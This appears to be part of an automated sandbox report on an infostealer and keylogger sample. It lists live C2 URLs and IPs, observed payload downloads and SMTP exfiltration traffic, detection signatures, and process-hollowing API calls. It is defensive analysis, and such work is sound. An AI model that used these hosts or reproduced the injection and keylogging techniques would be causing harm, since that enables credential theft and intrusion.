Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	Code function: 4x nop then jmp 013B78DCh	10_2_013B767A
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	Code function: 4x nop then mov dword ptr [ebp-1Ch], 00000000h	10_2_013B7E60
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	Code function: 4x nop then mov dword ptr [ebp-1Ch], 00000000h	10_2_013B7E54
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Code function: 4x nop then jmp 0549BCBDh	16_2_0549BA40

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: https://gxe0.com/yak/233_Wisrysxlfss

Source: C:\Users\user\Desktop\x.exe

Code function: 0_2_02EDE4B8 InternetCheckConnectionA,

0_2_02EDE4B8

Source: global traffic

TCP traffic: 192.168.2.6:49714 -> 51.195.88.199:587

Source: Joe Sandbox View	IP Address: 198.252.105.91 198.252.105.91
Source: Joe Sandbox View	IP Address: 104.26.13.205 104.26.13.205
Source: Joe Sandbox View	IP Address: 104.26.13.205 104.26.13.205

Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49710 -> 198.252.105.91:443
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 4.175.87.197:443 -> 192.168.2.6:49721
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 4.175.87.197:443 -> 192.168.2.6:49888

Source: global traffic

TCP traffic: 192.168.2.6:49714 -> 51.195.88.199:587

Source: global traffic	HTTP traffic detected: GET /yak/233_Wisrysxlfss HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: gxe0.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /yak/233_Wisrysxlfss HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: gxe0.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: gxe0.com
Source: global traffic	DNS traffic detected: DNS query: api.ipify.org
Source: global traffic	DNS traffic detected: DNS query: s82.gocheapweb.com
Source: global traffic	DNS traffic detected: DNS query: pywolwnvd.biz

Source: x.exe, 00000000.00000003.2148801262.000000007E280000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000002.2255493713.000000007EC47000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000003.2149675181.000000007F100000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000003.2148801262.000000007E307000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: x.exe, 00000000.00000003.2148801262.000000007E280000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000002.2255493713.000000007EC47000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000003.2149675181.000000007F100000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000003.2148801262.000000007E307000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: x.exe, 00000000.00000003.2148801262.000000007E280000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000002.2255493713.000000007EC47000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000003.2149675181.000000007F100000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000003.2148801262.000000007E307000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: x.exe, 00000000.00000003.2148801262.000000007E280000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000002.2255493713.000000007EC47000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000003.2149675181.000000007F100000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000003.2148801262.000000007E307000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: powershell.exe, 0000000B.00000002.2308580044.0000000007D02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft
Source: x.exe, 00000000.00000003.2148801262.000000007E280000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000002.2255493713.000000007EC47000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000003.2149675181.000000007F100000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000003.2148801262.000000007E307000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAEVR36.crl0
Source: x.exe, 00000000.00000003.2148801262.000000007E280000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000002.2255493713.000000007EC47000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000003.2149675181.000000007F100000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000003.2148801262.000000007E307000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
Source: x.exe, 00000000.00000003.2148801262.000000007E280000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000002.2255493713.000000007EC47000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000003.2149675181.000000007F100000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000003.2148801262.000000007E307000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: x.exe, 00000000.00000003.2148801262.000000007E280000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000002.2255493713.000000007EC47000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000003.2149675181.000000007F100000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000003.2148801262.000000007E307000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: x.exe, 00000000.00000003.2148801262.000000007E280000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000002.2255493713.000000007EC47000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000003.2149675181.000000007F100000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000003.2148801262.000000007E307000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: x.exe, 00000000.00000003.2148801262.000000007E280000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000002.2255493713.000000007EC47000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000003.2149675181.000000007F100000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000003.2148801262.000000007E307000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAEVR36.crt0#
Source: x.exe, 00000000.00000003.2148801262.000000007E280000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000002.2255493713.000000007EC47000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000003.2149675181.000000007F100000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000003.2148801262.000000007E307000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
Source: powershell.exe, 0000000B.00000002.2290455429.00000000051D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: x.exe, 00000000.00000003.2148801262.000000007E280000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000002.2255493713.000000007EC47000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000003.2149675181.000000007F100000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000003.2148801262.000000007E307000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: x.exe, 00000000.00000003.2148801262.000000007E280000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000002.2255493713.000000007EC47000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000003.2149675181.000000007F100000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000003.2148801262.000000007E307000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0A
Source: x.exe, 00000000.00000003.2148801262.000000007E280000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000002.2255493713.000000007EC47000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000003.2149675181.000000007F100000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000003.2148801262.000000007E307000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: x.exe, 00000000.00000003.2148801262.000000007E280000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000002.2255493713.000000007EC47000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000003.2149675181.000000007F100000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000003.2148801262.000000007E307000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0X
Source: x.exe, 00000000.00000003.2148801262.000000007E280000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000002.2255493713.000000007EC47000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000003.2149675181.000000007F100000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000003.2148801262.000000007E307000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.com0
Source: x.exe, 00000000.00000003.2148801262.000000007E280000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000002.2255493713.000000007EC47000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000003.2149675181.000000007F100000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000003.2148801262.000000007E307000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.com0C
Source: powershell.exe, 0000000B.00000002.2269466131.00000000042C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: neworigin.exe, 00000009.00000002.2395131406.0000000002C7B000.00000004.00000800.00020000.00000000.sdmp, neworigin.exe, 00000009.00000002.2350888427.0000000000E27000.00000004.00000020.00020000.00000000.sdmp, neworigin.exe, 00000009.00000002.2434061212.00000000063C9000.00000004.00000020.00020000.00000000.sdmp, neworigin.exe, 00000009.00000002.2395131406.0000000002BF4000.00000004.00000800.00020000.00000000.sdmp, neworigin.exe, 00000009.00000002.2350888427.0000000000E3E000.00000004.00000020.00020000.00000000.sdmp, neworigin.exe, 00000019.00000002.2433816263.0000000000DC7000.00000004.00000020.00020000.00000000.sdmp, neworigin.exe, 00000019.00000002.2459185652.0000000002B94000.00000004.00000800.00020000.00000000.sdmp, neworigin.exe, 00000019.00000002.2433816263.0000000000E56000.00000004.00000020.00020000.00000000.sdmp, neworigin.exe, 0000001D.00000002.4585647211.0000000001465000.00000004.00000020.00020000.00000000.sdmp, neworigin.exe, 0000001D.00000002.4593833570.00000000032A4000.00000004.00000800.00020000.00000000.sdmp, neworigin.exe, 0000001D.00000002.4593833570.000000000335A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r11.i.lencr.org/0
Source: neworigin.exe, 00000009.00000002.2395131406.0000000002C7B000.00000004.00000800.00020000.00000000.sdmp, neworigin.exe, 00000009.00000002.2350888427.0000000000E27000.00000004.00000020.00020000.00000000.sdmp, neworigin.exe, 00000009.00000002.2434061212.00000000063C9000.00000004.00000020.00020000.00000000.sdmp, neworigin.exe, 00000009.00000002.2395131406.0000000002BF4000.00000004.00000800.00020000.00000000.sdmp, neworigin.exe, 00000009.00000002.2350888427.0000000000E3E000.00000004.00000020.00020000.00000000.sdmp, neworigin.exe, 00000019.00000002.2433816263.0000000000DC7000.00000004.00000020.00020000.00000000.sdmp, neworigin.exe, 00000019.00000002.2459185652.0000000002B94000.00000004.00000800.00020000.00000000.sdmp, neworigin.exe, 00000019.00000002.2433816263.0000000000E56000.00000004.00000020.00020000.00000000.sdmp, neworigin.exe, 0000001D.00000002.4585647211.0000000001465000.00000004.00000020.00020000.00000000.sdmp, neworigin.exe, 0000001D.00000002.4593833570.00000000032A4000.00000004.00000800.00020000.00000000.sdmp, neworigin.exe, 0000001D.00000002.4593833570.000000000335A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r11.o.lencr.org0#
Source: neworigin.exe, 00000009.00000002.2395131406.0000000002BEC000.00000004.00000800.00020000.00000000.sdmp, neworigin.exe, 00000009.00000002.2395131406.0000000002C7B000.00000004.00000800.00020000.00000000.sdmp, neworigin.exe, 00000019.00000002.2459185652.0000000002B8C000.00000004.00000800.00020000.00000000.sdmp, neworigin.exe, 0000001D.00000002.4593833570.000000000329C000.00000004.00000800.00020000.00000000.sdmp, neworigin.exe, 0000001D.00000002.4593833570.000000000335A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://s82.gocheapweb.com
Source: powershell.exe, 0000000B.00000002.2269466131.00000000042C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: neworigin.exe, 00000009.00000002.2395131406.0000000002B71000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2269466131.0000000004171000.00000004.00000800.00020000.00000000.sdmp, neworigin.exe, 00000019.00000002.2459185652.0000000002B1C000.00000004.00000800.00020000.00000000.sdmp, neworigin.exe, 0000001D.00000002.4593833570.000000000322C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 0000000B.00000002.2269466131.00000000042C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 0000000B.00000002.2269466131.00000000042C6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2264345961.0000000000542000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: x.exe, x.exe, 00000000.00000002.2243776904.0000000021E70000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000000.00000002.2233962338.0000000020C24000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000002.2203310640.0000000002EEE000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000002.2244527855.000000002206F000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000003.2180899022.00000000008DE000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000000.00000002.2233962338.0000000020BA3000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000003.2111562829.000000007FAD0000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000003.2111145235.0000000002C11000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000000.00000002.2200179187.0000000002E4A000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000000.00000002.2262163417.000000007FC4F000.00000004.00001000.00020000.00000000.sdmp, lxsyrsiW.pif, 00000008.00000000.2181503594.0000000000416000.00000002.00000001.01000000.00000006.sdmp, Wisrysxl.PIF, 00000016.00000002.2352049831.0000000002D22000.00000004.00001000.00020000.00000000.sdmp, lxsyrsiW.pif, 00000018.00000000.2336227084.0000000000416000.00000002.00000001.01000000.00000006.sdmp, Wisrysxl.PIF, 0000001B.00000002.2435548911.0000000002DF2000.00000004.00001000.00020000.00000000.sdmp, lxsyrsiW.pif, 0000001C.00000000.2411094000.0000000000416000.00000002.00000001.01000000.00000006.sdmp	String found in binary or memory: http://www.pmail.com
Source: neworigin.exe, 00000009.00000002.2395131406.0000000002C7B000.00000004.00000800.00020000.00000000.sdmp, neworigin.exe, 00000009.00000002.2350888427.0000000000E27000.00000004.00000020.00020000.00000000.sdmp, neworigin.exe, 00000009.00000002.2434061212.00000000063C9000.00000004.00000020.00020000.00000000.sdmp, neworigin.exe, 00000009.00000002.2395131406.0000000002BF4000.00000004.00000800.00020000.00000000.sdmp, neworigin.exe, 00000009.00000002.2350888427.0000000000E66000.00000004.00000020.00020000.00000000.sdmp, neworigin.exe, 00000009.00000002.2350888427.0000000000E3E000.00000004.00000020.00020000.00000000.sdmp, neworigin.exe, 00000019.00000002.2494316547.0000000006422000.00000004.00000020.00020000.00000000.sdmp, neworigin.exe, 00000019.00000002.2433816263.0000000000DC7000.00000004.00000020.00020000.00000000.sdmp, neworigin.exe, 00000019.00000002.2459185652.0000000002B94000.00000004.00000800.00020000.00000000.sdmp, neworigin.exe, 0000001D.00000002.4585647211.0000000001465000.00000004.00000020.00020000.00000000.sdmp, neworigin.exe, 0000001D.00000002.4593833570.00000000032A4000.00000004.00000800.00020000.00000000.sdmp, neworigin.exe, 0000001D.00000002.4593833570.000000000335A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: neworigin.exe, 00000009.00000002.2395131406.0000000002C7B000.00000004.00000800.00020000.00000000.sdmp, neworigin.exe, 00000009.00000002.2350888427.0000000000E27000.00000004.00000020.00020000.00000000.sdmp, neworigin.exe, 00000009.00000002.2434061212.00000000063C9000.00000004.00000020.00020000.00000000.sdmp, neworigin.exe, 00000009.00000002.2395131406.0000000002BF4000.00000004.00000800.00020000.00000000.sdmp, neworigin.exe, 00000009.00000002.2350888427.0000000000E66000.00000004.00000020.00020000.00000000.sdmp, neworigin.exe, 00000009.00000002.2350888427.0000000000E3E000.00000004.00000020.00020000.00000000.sdmp, neworigin.exe, 00000019.00000002.2494316547.0000000006422000.00000004.00000020.00020000.00000000.sdmp, neworigin.exe, 00000019.00000002.2433816263.0000000000DC7000.00000004.00000020.00020000.00000000.sdmp, neworigin.exe, 00000019.00000002.2459185652.0000000002B94000.00000004.00000800.00020000.00000000.sdmp, neworigin.exe, 0000001D.00000002.4585647211.0000000001465000.00000004.00000020.00020000.00000000.sdmp, neworigin.exe, 0000001D.00000002.4593833570.00000000032A4000.00000004.00000800.00020000.00000000.sdmp, neworigin.exe, 0000001D.00000002.4593833570.000000000335A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: neworigin.exe, 00000009.00000000.2187675725.0000000000842000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: https://account.dyn.com/
Source: powershell.exe, 0000000B.00000002.2269466131.0000000004171000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: neworigin.exe, 00000009.00000002.2395131406.0000000002B71000.00000004.00000800.00020000.00000000.sdmp, neworigin.exe, 00000009.00000000.2187675725.0000000000842000.00000002.00000001.01000000.00000008.sdmp, neworigin.exe, 00000019.00000002.2459185652.0000000002B1C000.00000004.00000800.00020000.00000000.sdmp, neworigin.exe, 0000001D.00000002.4593833570.000000000322C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org
Source: neworigin.exe, 00000009.00000002.2395131406.0000000002B71000.00000004.00000800.00020000.00000000.sdmp, neworigin.exe, 00000019.00000002.2459185652.0000000002B1C000.00000004.00000800.00020000.00000000.sdmp, neworigin.exe, 0000001D.00000002.4593833570.000000000322C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/
Source: neworigin.exe, 00000009.00000002.2395131406.0000000002B71000.00000004.00000800.00020000.00000000.sdmp, neworigin.exe, 00000019.00000002.2459185652.0000000002B1C000.00000004.00000800.00020000.00000000.sdmp, neworigin.exe, 0000001D.00000002.4593833570.000000000322C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/t
Source: powershell.exe, 0000000B.00000002.2290455429.00000000051D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 0000000B.00000002.2290455429.00000000051D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 0000000B.00000002.2290455429.00000000051D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 0000000B.00000002.2269466131.00000000042C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: x.exe, 00000000.00000002.2184605014.0000000000886000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gxe0.com/t
Source: x.exe, 00000000.00000002.2233962338.0000000020CAD000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://gxe0.com/yak/233_Wisrysx
Source: x.exe, 00000000.00000002.2184605014.000000000081E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gxe0.com/yak/233_Wisrysxlfss
Source: x.exe, 00000000.00000002.2184605014.0000000000899000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gxe0.com:443/yak/233_WisrysxlfssX
Source: powershell.exe, 0000000B.00000002.2290455429.00000000051D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: x.exe, 00000000.00000003.2148801262.000000007E280000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000002.2255493713.000000007EC47000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000003.2149675181.000000007F100000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000000.00000003.2148801262.000000007E307000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://sectigo.com/CPS0

Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712

Source: unknown	HTTPS traffic detected: 198.252.105.91:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.13.205:443 -> 192.168.2.6:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.13.205:443 -> 192.168.2.6:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.13.205:443 -> 192.168.2.6:49781 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to log keystrokes (.Net Source)

Source: neworigin.exe.8.dr, cPKWk.cs

.Net Code: I3Mi2zn6x

Installs a global keyboard hook

Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Windows user hook set: 0 keyboard low level C:\Users\user\AppData\Local\Temp\neworigin.exe			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Windows user hook set: 0 keyboard low level C:\Users\user\AppData\Local\Temp\neworigin.exe

Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Window created: window name: CLIPBRDWNDCLASS
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Window created: window name: CLIPBRDWNDCLASS

System Summary

Malicious sample detected (through community Yara rule)

Source: 9.0.neworigin.exe.840000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe, type: DROPPED	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen

.NET source code contains very large strings

Source: server_BTC.exe.8.dr, opqcmgIPmeabY.cs	Long String: Length: 17605
Source: TrojanAIbot.exe.10.dr, opqcmgIPmeabY.cs	Long String: Length: 17605

Source: C:\Users\user\Desktop\x.exe	Code function: 0_2_02ED8670 NtUnmapViewOfSection,	0_2_02ED8670
Source: C:\Users\user\Desktop\x.exe	Code function: 0_2_02ED8400 NtReadVirtualMemory,	0_2_02ED8400
Source: C:\Users\user\Desktop\x.exe	Code function: 0_2_02ED7A2C NtAllocateVirtualMemory,	0_2_02ED7A2C
Source: C:\Users\user\Desktop\x.exe	Code function: 0_2_02EDDC8C RtlDosPathNameToNtPathName_U,NtCreateFile,NtWriteFile,NtClose,	0_2_02EDDC8C
Source: C:\Users\user\Desktop\x.exe	Code function: 0_2_02EDDC04 RtlI,RtlDosPathNameToNtPathName_U,NtDeleteFile,	0_2_02EDDC04
Source: C:\Users\user\Desktop\x.exe	Code function: 0_2_02ED7D78 NtWriteVirtualMemory,	0_2_02ED7D78
Source: C:\Users\user\Desktop\x.exe	Code function: 0_2_02ED8D70 GetThreadContext,Wow64GetThreadContext,SetThreadContext,Wow64SetThreadContext,NtResumeThread,	0_2_02ED8D70
Source: C:\Users\user\Desktop\x.exe	Code function: 0_2_02EDDD70 RtlDosPathNameToNtPathName_U,NtOpenFile,NtQueryInformationFile,NtReadFile,NtClose,	0_2_02EDDD70
Source: C:\Users\user\Desktop\x.exe	Code function: 0_2_02ED7A2A NtAllocateVirtualMemory,	0_2_02ED7A2A
Source: C:\Users\user\Desktop\x.exe	Code function: 0_2_02EDDBB0 RtlI,RtlDosPathNameToNtPathName_U,NtDeleteFile,	0_2_02EDDBB0
Source: C:\Users\user\Desktop\x.exe	Code function: 0_2_02ED8D6E GetThreadContext,Wow64GetThreadContext,SetThreadContext,Wow64SetThreadContext,NtResumeThread,	0_2_02ED8D6E
Source: C:\Users\Public\Libraries\Wisrysxl.PIF	Code function: 22_2_02CB8670 NtUnmapViewOfSection,	22_2_02CB8670
Source: C:\Users\Public\Libraries\Wisrysxl.PIF	Code function: 22_2_02CB8400 NtReadVirtualMemory,	22_2_02CB8400
Source: C:\Users\Public\Libraries\Wisrysxl.PIF	Code function: 22_2_02CB7A2C NtAllocateVirtualMemory,	22_2_02CB7A2C
Source: C:\Users\Public\Libraries\Wisrysxl.PIF	Code function: 22_2_02CB7D78 NtWriteVirtualMemory,	22_2_02CB7D78
Source: C:\Users\Public\Libraries\Wisrysxl.PIF	Code function: 22_2_02CB8D70 Wow64GetThreadContext,Wow64SetThreadContext,NtResumeThread,	22_2_02CB8D70
Source: C:\Users\Public\Libraries\Wisrysxl.PIF	Code function: 22_2_02CBDD70 NtOpenFile,NtReadFile,NtClose,	22_2_02CBDD70
Source: C:\Users\Public\Libraries\Wisrysxl.PIF	Code function: 22_2_02CB86F7 NtUnmapViewOfSection,	22_2_02CB86F7
Source: C:\Users\Public\Libraries\Wisrysxl.PIF	Code function: 22_2_02CB7AC9 NtAllocateVirtualMemory,	22_2_02CB7AC9
Source: C:\Users\Public\Libraries\Wisrysxl.PIF	Code function: 22_2_02CB7A2A NtAllocateVirtualMemory,	22_2_02CB7A2A
Source: C:\Users\Public\Libraries\Wisrysxl.PIF	Code function: 22_2_02CB8D6E Wow64GetThreadContext,Wow64SetThreadContext,NtResumeThread,	22_2_02CB8D6E
Source: C:\Users\Public\Libraries\Wisrysxl.PIF	Code function: 27_2_02D88670 NtUnmapViewOfSection,	27_2_02D88670
